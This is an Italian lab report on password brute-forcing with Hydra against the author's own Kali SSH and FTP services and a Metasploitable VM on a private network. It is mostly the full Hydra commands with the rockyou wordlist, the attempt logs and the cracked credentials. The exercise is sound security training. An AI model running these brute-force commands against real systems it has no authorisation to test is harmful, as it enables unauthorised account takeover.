REPORT BRUTEFORCE PASSWORD CRACKING| HYDRA

Hydra è uno dei più popolari tool di password cracking proprio di Kali linux. Per effettuare il brute forcing Hydra necessita di una wordlist da cui estrarre la password corretta.

Dopo aver attivato il servizio ssh ed aver creato un nuovo utente su Kali tramite il comando <<adduser>>

Dopo di che testiamo la connessione in ssh dell'utente appena creato sul sistema.

```
┌──(test_user㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:aTvC5USVix8OXVvr0RSu2ojOkHM+g+V/sMpEoZvppp8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec  1 05:55:40 2022 from 192.168.50.100
┌──(test_user㉿kali)-[~]
└─$
```

Iniziamo il cracking aprendo Hydra ed usando il comando << hydra -t 4 -V -l test_user -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.50.100>>

(In questo caso specifico è stato preferita la wordlist <<rockyou.txt>> anziché <<seclists>>

```
┌──(kali㉿kali)-[~]
└─$ hydra -t 4 -V -l test_user -P /usr/share/wordlists/rockyou.txt.gz  ssh://192.168.50.100

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 11:20:32
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 7 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rockyou" - 8 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 9 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 10 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "nicole" - 11 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "daniel" - 12 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "babygirl" - 13 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 14 of 14344399 [child 0] (0/0)
```

```
[ssh] host: 192.168.50.100   login: test_user   password: kali
 1 target successfully completed, 1 valid password found
a (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 1
```

Il tool continuerà a testare la wordlist finchè non arriverà ad un match.

Terzo step è lo start service ftp e controllandone la connessione

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Sarà quindi possibile ripetere lo stesso procedimento con Hydra cambiando semplicemente protocollo.

```
┌──(kali㉿kali)-[~]
└─$ hydra -t 4 -V -l test_user -P /usr/share/wordlists/rockyou.txt.gz  ftp://192.168.50.100

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purp

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:26:24
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriti
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 7 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rockyou" - 8 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 9 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 10 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "nicole" - 11 of 14344399 [child 0] (0/0)
```

Fino all’avvenuto match corretto

```
[21][ftp] host: 192.168.50.100   login: test_user   password: kali
1 of 1 target successfully completed, 1 valid password found
```

Inoltre accendendo la macchina Metasploitable e cambiando i paramentri di comando (user name amministratore ed IP) <<hydra -t 4 -V -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.50.101>>, otterremo con successo il password cracking della password di Metasploitable.

```
┌──(kali㉿kali)-[~]
└─$ hydra -t 4 -V -l msfadmin -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.50.101

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or fo

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 11:24:56
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 7 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "rockyou" - 8 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 9 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 10 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "nicole" - 11 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "daniel" - 12 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "babygirl" - 13 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 14 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "lovely" - 15 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jessica" - 16 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "654321" - 17 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 18 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ashley" - 19 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 20 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 21 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iloveu" - 22 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "000000" - 23 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michelle" - 24 of 14344399 [child 3] (0/0)
```

Fino al match

```
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "milagros" - 247 of 249 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "caitlin" - 248 of 249 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "polletta" - 249 of 249 [child 1] (0/0)
[22][ssh] host: 192.168.50.101   login: msfadmin   password: polletta
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:59:03
```

(ndr. La password della mia macchina Metasploitable non è quella di default)